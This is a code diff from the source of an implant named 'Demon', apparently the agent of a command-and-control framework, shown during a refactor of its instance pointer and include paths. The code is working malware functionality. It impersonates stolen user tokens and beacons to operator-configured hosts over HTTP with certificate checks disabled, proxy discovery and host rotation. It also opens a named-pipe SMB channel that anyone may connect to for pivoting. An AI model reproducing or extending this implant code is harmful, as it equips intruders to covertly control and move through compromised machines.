PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) );
PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );
return FALSE;
}
@@ -1351,7 +1351,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken )
if ( ! NT_SUCCESS( Status ) )
{
PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) );
PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) );
return FALSE;
}
@@ -1369,7 +1369,7 @@ BOOL ImpersonateTokenInStore(
}
/* if we are already impersonating the selected token, do nothing */
if ( Instance.Tokens.Impersonate && TokenData->Handle == Instance.Tokens.Token->Handle ) {
if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) {
return TRUE;
}
@@ -1384,13 +1384,13 @@ BOOL ImpersonateTokenInStore(
}
if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) {
Instance.Tokens.Impersonate = TRUE;
Instance.Tokens.Token = TokenData;
Instance->Tokens.Impersonate = TRUE;
Instance->Tokens.Token = TokenData;
PRINTF( "[+] Successfully impersonated: %ls\n", TokenData->DomainUser );
} else {
Instance.Tokens.Impersonate = FALSE;
Instance.Tokens.Token = NULL;
Instance->Tokens.Impersonate = FALSE;
Instance->Tokens.Token = NULL;
PRINTF( "[!] Failed to impersonate token user: %ls\n", TokenData->DomainUser );
@@ -1,14 +1,14 @@
#include <Demon.h>
#include <Common/Macros.h>
#include <common/Macros.h>
#include <Core/Package.h>
#include <Core/Transport.h>
#include <Core/MiniStd.h>
#include <Core/TransportHttp.h>
#include <Core/TransportSmb.h>
#include <core/Package.h>
#include <core/Transport.h>
#include <core/MiniStd.h>
#include <core/TransportHttp.h>
#include <core/TransportSmb.h>
#include <Crypt/AesCrypt.h>
#include <crypt/AesCrypt.h>
BOOL TransportInit( )
{
@@ -19,19 +19,19 @@ BOOL TransportInit( )
/* Sends to our connection (direct/pivot) */
#ifdef TRANSPORT_HTTP
if ( PackageTransmitNow( Instance.MetaData, &Data, &Size ) )
if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) )
{
AESCTX AesCtx = { 0 };
/* Decrypt what we got */
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
AesXCryptBuffer( &AesCtx, Data, Size );
if ( Data )
{
if ( ( UINT32 ) Instance.Session.AgentID == ( UINT32 ) DEREF( Data ) )
if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) )
{
Instance.Session.Connected = TRUE;
Instance->Session.Connected = TRUE;
Success = TRUE;
}
}
@@ -39,9 +39,9 @@ BOOL TransportInit( )
#endif
#ifdef TRANSPORT_SMB
if ( PackageTransmitNow( Instance.MetaData, NULL, NULL ) == TRUE )
if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE )
{
Instance.Session.Connected = TRUE;
Instance->Session.Connected = TRUE;
Success = TRUE;
}
#endif
@@ -1,158 +1,173 @@
#include <Demon.h>
#include <Core/TransportHttp.h>
#include <Core/MiniStd.h>
#include <core/TransportHttp.h>
#include <core/MiniStd.h>
#ifdef TRANSPORT_HTTP
BOOL HttpSend( PBUFFER Send, PBUFFER Response )
{
BOOL Success = FALSE;
HANDLE hConnect = NULL;
HANDLE hRequest = NULL;
LPWSTR HttpHeader = NULL;
LPWSTR HttpEndpoint = NULL;
DWORD HttpFlags = 0;
LPCWSTR HttpProxy = NULL;
PWSTR HttpScheme = NULL;
/*!
* @brief
* send a http request
*
* @param Send
* buffer to send
*
* @param Resp
* buffer response
*
* @return
* if successful send request
*/
BOOL HttpSend(
_In_ PBUFFER Send,
_Out_opt_ PBUFFER Resp
) {
HANDLE Connect = { 0 };
HANDLE Request = { 0 };
LPWSTR HttpHeader = { 0 };
LPWSTR HttpEndpoint = { 0 };
DWORD HttpFlags = { 0 };
LPCWSTR HttpProxy = { 0 };
PWSTR HttpScheme = { 0 };
DWORD Counter = { 0 };
DWORD Iterator = { 0 };
DWORD BufRead = { 0 };
UCHAR Buffer[ 1024 ] = { 0 };
PVOID RespBuffer = { 0 };
SIZE_T RespSize = { 0 };
BOOL Successful = { 0 };
WINHTTP_PROXY_INFO ProxyInfo = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig = { 0 };
WINHTTP_AUTOPROXY_OPTIONS AutoProxyOptions = { 0 };
DWORD Counter = 0;
DWORD Iterator = 0;
DWORD BufRead = 0;
UCHAR Buffer[ 1024 ] = { 0 };
PVOID RespBuffer = NULL;
SIZE_T RespSize = 0;
BOOL Successful = TRUE;
/* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */
TokenImpersonate( FALSE );
/* if we don't have any more hosts left, then exit */
if ( ! Instance.Config.Transport.Host )
{
if ( ! Instance->Config.Transport.Host ) {
PUTS_DONT_SEND( "No hosts left to use... exit now." )
CommandExit( NULL );
}
if ( ! Instance.hHttpSession )
{
if ( Instance.Config.Transport.Proxy.Enabled )
{
if ( ! Instance->hHttpSession ) {
if ( Instance->Config.Transport.Proxy.Enabled ) {
// Use preconfigured proxy
HttpProxy = Instance.Config.Transport.Proxy.Url;
HttpProxy = Instance->Config.Transport.Proxy.Url;
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent, HttpProxy ) */
Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 );
}
else
{
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent, HttpProxy ) */
Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 );
} else {
// Autodetect proxy settings
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent ) */
Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
/* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent ) */
Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
}
if ( ! Instance.hHttpSession )
{
if ( ! Instance->hHttpSession ) {
PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() )
Successful = FALSE;
goto LEAVE;
}
}
/* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port ) */
hConnect = Instance.Win32.WinHttpConnect( Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port, 0 );
if ( ! hConnect )
{
/* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */
if ( ! ( Connect = Instance->Win32.WinHttpConnect(
Instance->hHttpSession,
Instance->Config.Transport.Host->Host,
Instance->Config.Transport.Host->Port,
0
) ) ) {
PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() )
Successful = FALSE;
goto LEAVE;
}
Counter = 0;
while ( TRUE )
{
if ( ! Instance.Config.Transport.Uris[ Counter ] ) break;
else Counter++;
while ( TRUE ) {
if ( ! Instance->Config.Transport.Uris[ Counter ] ) {
break;
} else {
Counter++;
}
}
HttpEndpoint = Instance.Config.Transport.Uris[ RandomNumber32() % Counter ];
HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ];
HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
if ( Instance.Config.Transport.Secure )
if ( Instance->Config.Transport.Secure ) {
HttpFlags |= WINHTTP_FLAG_SECURE;
}
/* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance.Config.Transport.Method, HttpEndpoint, HttpFlags ) */
hRequest = Instance.Win32.WinHttpOpenRequest( hConnect, Instance.Config.Transport.Method, HttpEndpoint, NULL, NULL, NULL, HttpFlags );
if ( ! hRequest )
{
/* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */
if ( ! ( Request = Instance->Win32.WinHttpOpenRequest(
Connect,
Instance->Config.Transport.Method,
HttpEndpoint,
NULL,
NULL,
NULL,
HttpFlags
) ) ) {
PRINTF_DONT_SEND( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() )
Successful = FALSE;
goto LEAVE;
}
if ( Instance.Config.Transport.Secure )
{
if ( Instance->Config.Transport.Secure ) {
HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) )
{
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
}
}
/* Add our headers */
Iterator = 0;
do
{
HttpHeader = Instance.Config.Transport.Headers[ Iterator ];
do {
HttpHeader = Instance->Config.Transport.Headers[ Iterator ];
if ( ! HttpHeader )
break;
if ( ! Instance.Win32.WinHttpAddRequestHeaders( hRequest, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) {
if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) {
PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader )
}
Iterator++;
} while ( TRUE );
if ( Instance.Config.Transport.Proxy.Enabled )
{
if ( Instance->Config.Transport.Proxy.Enabled ) {
// Use preconfigured proxy
ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
ProxyInfo.lpszProxy = Instance.Config.Transport.Proxy.Url;
ProxyInfo.lpszProxy = Instance->Config.Transport.Proxy.Url;
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) )
{
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) {
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
}
if ( Instance.Config.Transport.Proxy.Username )
{
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_USERNAME, Instance.Config.Transport.Proxy.Username, StringLengthW( Instance.Config.Transport.Proxy.Username ) ) )
{
if ( Instance->Config.Transport.Proxy.Username ) {
if ( ! Instance->Win32.WinHttpSetOption(
Request,
WINHTTP_OPTION_PROXY_USERNAME,
Instance->Config.Transport.Proxy.Username,
StringLengthW( Instance->Config.Transport.Proxy.Username )
) ) {
PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() );
}
}
if ( Instance.Config.Transport.Proxy.Password )
{
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY_PASSWORD, Instance.Config.Transport.Proxy.Password, StringLengthW( Instance.Config.Transport.Proxy.Password ) ) )
{
if ( Instance->Config.Transport.Proxy.Password ) {
if ( ! Instance->Win32.WinHttpSetOption(
Request,
WINHTTP_OPTION_PROXY_PASSWORD,
Instance->Config.Transport.Proxy.Password,
StringLengthW( Instance->Config.Transport.Proxy.Password )
) ) {
PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() );
}
}
}
else if ( ! Instance.LookedForProxy )
{
} else if ( ! Instance->LookedForProxy ) {
// Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol
/*
@@ -169,23 +184,18 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
AutoProxyOptions.dwReserved = 0;
AutoProxyOptions.fAutoLogonIfChallenged = TRUE;
if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) )
{
if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {
if ( ProxyInfo.lpszProxy ) {
PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy );
}
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
}
else
{
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
} else {
// WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back
if ( Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) )
{
if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 )
{
if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) {
if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) {
// IE is set to "use a proxy server"
ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
ProxyInfo.lpszProxy = ProxyConfig.lpszProxy;
@@ -193,16 +203,14 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
PRINTF_DONT_SEND( "Using IE proxy %ls\n", ProxyInfo.lpszProxy );
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
// don't cleanup these values
ProxyConfig.lpszProxy = NULL;
ProxyConfig.lpszProxyBypass = NULL;
}
else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 )
{
} else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) {
// IE is set to "Use automatic proxy configuration"
AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl;
@@ -210,153 +218,159 @@ BOOL HttpSend( PBUFFER Send, PBUFFER Response )
PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl );
if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) )
{
if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) {
if ( ProxyInfo.lpszProxy ) {
PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy );
}
Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl );
MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl );
Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO );
Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl );
MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl );
}
}
else
{
} else {
// IE is set to "automatically detect settings"
// ignore this as we already tried
}
}
}
Instance.LookedForProxy = TRUE;
Instance->LookedForProxy = TRUE;
}
if ( Instance.ProxyForUrl )
{
if ( ! Instance.Win32.WinHttpSetOption( hRequest, WINHTTP_OPTION_PROXY, Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ) )
{
if ( Instance->ProxyForUrl ) {
if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) {
PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() );
}
}
/* Send package to our listener */
if ( Instance.Win32.WinHttpSendRequest( hRequest, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) )
{
if ( Instance.Win32.WinHttpReceiveResponse( hRequest, NULL ) )
{
if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) {
if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) {
/* Is the server recognizing us ? are we good ? */
if ( HttpQueryStatus( hRequest) != HTTP_STATUS_OK )
{
if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) {
PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" )
Successful = FALSE;
goto LEAVE;
}
if ( Response )
{
if ( Resp ) {
RespBuffer = NULL;
do
{
Successful = Instance.Win32.WinHttpReadData( hRequest, Buffer, sizeof( Buffer ), &BufRead );
if ( ! Successful || BufRead == 0 )
{
//
// read the entire response into the Resp BUFFER
//
do {
Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead );
if ( ! Successful || BufRead == 0 ) {
break;
}
if ( ! RespBuffer )
RespBuffer = Instance.Win32.LocalAlloc( LPTR, BufRead );
else
RespBuffer = Instance.Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );
if ( ! RespBuffer ) {
RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead );
} else {
RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT );
}
RespSize += BufRead;
MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead );
MemSet( Buffer, 0, sizeof( Buffer ) );
} while ( Successful == TRUE );
Response->Length = RespSize;
Response->Buffer = RespBuffer;
Resp->Length = RespSize;
Resp->Buffer = RespBuffer;
Successful = TRUE;
}
}
}
else
{
if ( NtGetLastError() == 12029 ) // ERROR_INTERNET_CANNOT_CONNECT
Instance.Session.Connected = FALSE;
} else {
if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) {
Instance->Session.Connected = FALSE;
}
PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() )
Successful = FALSE;
goto LEAVE;
}
LEAVE:
if ( hConnect )
Instance.Win32.WinHttpCloseHandle( hConnect );
LEAVE:
if ( Connect ) {
Instance->Win32.WinHttpCloseHandle( Connect );
}
if ( hRequest )
Instance.Win32.WinHttpCloseHandle( hRequest );
if ( Request ) {
Instance->Win32.WinHttpCloseHandle( Request );
}
if ( ProxyConfig.lpszProxy )
Instance.Win32.GlobalFree( ProxyConfig.lpszProxy );
if ( ProxyConfig.lpszProxy ) {
Instance->Win32.GlobalFree( ProxyConfig.lpszProxy );
}
if ( ProxyConfig.lpszProxyBypass )
Instance.Win32.GlobalFree( ProxyConfig.lpszProxyBypass );
if ( ProxyConfig.lpszProxyBypass ) {
Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass );
}
if ( ProxyConfig.lpszAutoConfigUrl )
Instance.Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl );
if ( ProxyConfig.lpszAutoConfigUrl ) {
Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl );
}
/* re-impersonate the token */
TokenImpersonate( TRUE );
if ( ! Successful )
{
if ( ! Successful ) {
/* if we hit our max then we use our next host */
Instance.Config.Transport.Host = HostFailure( Instance.Config.Transport.Host );
Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host );
}
return Successful;
}
/* Query status code from our server response */
DWORD HttpQueryStatus( HANDLE hRequest )
{
/*!
* @brief
* Query the Http Status code from the request response.
*
* @param hRequest
* request handle
*
* @return
* Http status code
*/
DWORD HttpQueryStatus(
_In_ HANDLE Request
) {
DWORD StatusCode = 0;
DWORD StatusSize = sizeof( DWORD );
if ( Instance.Win32.WinHttpQueryHeaders(
hRequest,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX,
&StatusCode, &StatusSize, WINHTTP_NO_HEADER_INDEX
)
)
{
if ( Instance->Win32.WinHttpQueryHeaders(
Request,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX,
&StatusCode,
&StatusSize,
WINHTTP_NO_HEADER_INDEX
) ) {
return StatusCode;
}
return 0;
}
PHOST_DATA HostAdd( LPWSTR Host, SIZE_T Size, DWORD Port )
PHOST_DATA HostAdd(
_In_ LPWSTR Host, SIZE_T Size, DWORD Port )
{
PRINTF_DONT_SEND( "Host -> Host:[%ls] Size:[%ld] Port:[%ld]\n", Host, Size, Port );
PHOST_DATA HostData = NULL;
HostData = NtHeapAlloc( sizeof( HOST_DATA ) );
HostData->Host = NtHeapAlloc( Size + sizeof( WCHAR ) );
HostData = MmHeapAlloc( sizeof( HOST_DATA ) );
HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) );
HostData->Port = Port;
HostData->Dead = FALSE;
HostData->Next = Instance.Config.Transport.Hosts;
HostData->Next = Instance->Config.Transport.Hosts;
/* Copy host to our buffer */
MemCopy( HostData->Host, Host, Size );
/* Add to hosts linked list */
Instance.Config.Transport.Hosts = HostData;
Instance->Config.Transport.Hosts = HostData;
return HostData;
}
@@ -366,14 +380,14 @@ PHOST_DATA HostFailure( PHOST_DATA Host )
if ( ! Host )
return NULL;
if ( Host->Failures == Instance.Config.Transport.HostMaxRetries )
if ( Host->Failures == Instance->Config.Transport.HostMaxRetries )
{
/* we reached our max failed retries with our current host data
* use next one */
Host->Dead = TRUE;
/* Get our next host based on our rotation strategy. */
return HostRotation( Instance.Config.Transport.HostRotation );
return HostRotation( Instance->Config.Transport.HostRotation );
}
/* Increase our failed counter */
@@ -391,7 +405,7 @@ PHOST_DATA HostRandom()
DWORD Index = RandomNumber32() % HostCount();
DWORD Count = 0;
Host = Instance.Config.Transport.Hosts;
Host = Instance->Config.Transport.Hosts;
for ( ;; )
{
@@ -424,13 +438,13 @@ PHOST_DATA HostRotation( SHORT Strategy )
{
PHOST_DATA Host = NULL;
if ( Instance.Config.Transport.NumHosts > 1 )
if ( Instance->Config.Transport.NumHosts > 1 )
{
/*
* Different CDNs can have different WPAD rules.
* After rotating, look for the proxy again
*/
Instance.LookedForProxy = FALSE;
Instance->LookedForProxy = FALSE;
}
if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN )
@@ -438,11 +452,11 @@ PHOST_DATA HostRotation( SHORT Strategy )
DWORD Count = 0;
/* get linked list */
Host = Instance.Config.Transport.Hosts;
Host = Instance->Config.Transport.Hosts;
/* If our current host is empty
* then return the top host from our linked list. */
if ( ! Instance.Config.Transport.Host )
if ( ! Instance->Config.Transport.Host )
return Host;
for ( Count = 0; Count < HostCount(); )
@@ -470,12 +484,12 @@ PHOST_DATA HostRotation( SHORT Strategy )
/* if we specified infinite retries then reset every "Failed" retries in our linked list and do this forever...
* as the operator wants. */
if ( ( Instance.Config.Transport.HostMaxRetries == 0 ) && ! Host )
if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host )
{
PUTS_DONT_SEND( "Specified to keep going. To infinity... and beyond" )
/* get linked list */
Host = Instance.Config.Transport.Hosts;
Host = Instance->Config.Transport.Hosts;
/* iterate over linked list */
for ( ;; )
@@ -491,7 +505,7 @@ PHOST_DATA HostRotation( SHORT Strategy )
}
/* tell the caller to start at the beginning */
Host = Instance.Config.Transport.Hosts;
Host = Instance->Config.Transport.Hosts;
}
return Host;
@@ -503,7 +517,7 @@ DWORD HostCount()
PHOST_DATA Head = NULL;
DWORD Count = 0;
Head = Instance.Config.Transport.Hosts;
Head = Instance->Config.Transport.Hosts;
Host = Head;
do {
@@ -531,7 +545,7 @@ BOOL HostCheckup()
DWORD Count = 0;
BOOL Alive = TRUE;
Head = Instance.Config.Transport.Hosts;
Head = Instance->Config.Transport.Hosts;
Host = Head;
do {
@@ -1,13 +1,13 @@
#include <Demon.h>
#include <Core/TransportSmb.h>
#include <Core/MiniStd.h>
#include <core/TransportSmb.h>
#include <core/MiniStd.h>
#ifdef TRANSPORT_SMB
BOOL SmbSend( PBUFFER Send )
{
if ( ! Instance.Config.Transport.Handle )
if ( ! Instance->Config.Transport.Handle )
{
SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 };
SECURITY_ATTRIBUTES SecurityAttr = { 0 };
@@ -15,7 +15,7 @@ BOOL SmbSend( PBUFFER Send )
/* Setup attributes to allow "anyone" to connect to our pipe */
SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr );
Instance.Config.Transport.Handle = Instance.Win32.CreateNamedPipeW( Instance.Config.Transport.Name, // Named Pipe
Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name, // Named Pipe
PIPE_ACCESS_DUPLEX, // read/write access
PIPE_TYPE_MESSAGE | // message type pipe
PIPE_READMODE_MESSAGE | // message-read mode
@@ -28,33 +28,33 @@ BOOL SmbSend( PBUFFER Send )
SmbSecurityAttrFree( &SmbSecAttr );
if ( ! Instance.Config.Transport.Handle )
if ( ! Instance->Config.Transport.Handle )
return FALSE;
if ( ! Instance.Win32.ConnectNamedPipe( Instance.Config.Transport.Handle, NULL ) )
if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) )
{
SysNtClose( Instance.Config.Transport.Handle );
SysNtClose( Instance->Config.Transport.Handle );
return FALSE;
}
/* Send the message/package we want to send to the new client... */
return PipeWrite( Instance.Config.Transport.Handle, Send );
return PipeWrite( Instance->Config.Transport.Handle, Send );
}
if ( ! PipeWrite( Instance.Config.Transport.Handle, Send ) )
if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) )
{
PRINTF( "WriteFile Failed:[%d]\n", NtGetLastError() );
/* Means that the client disconnected/the pipe is closing. */
if ( NtGetLastError() == ERROR_NO_DATA )
{
if ( Instance.Config.Transport.Handle )
if ( Instance->Config.Transport.Handle )
{
SysNtClose( Instance.Config.Transport.Handle );
Instance.Config.Transport.Handle = NULL;
SysNtClose( Instance->Config.Transport.Handle );
Instance->Config.Transport.Handle = NULL;
}
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
}
@@ -68,51 +68,51 @@ BOOL SmbRecv( PBUFFER Resp )
DWORD DemonId = 0;
DWORD PackageSize = 0;
if ( Instance.Win32.PeekNamedPipe( Instance.Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) )
if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) )
{
if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) )
{
if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
{
PRINTF( "Failed to read the DemonId from pipe, error: %d\n", NtGetLastError() )
Resp->Buffer = NULL;
Resp->Length = 0;
Instance.Session.Connected = FALSE;
Instance->Session.Connected = FALSE;
return FALSE;
}
if ( Instance.Session.AgentID != DemonId )
if ( Instance->Session.AgentID != DemonId )
{
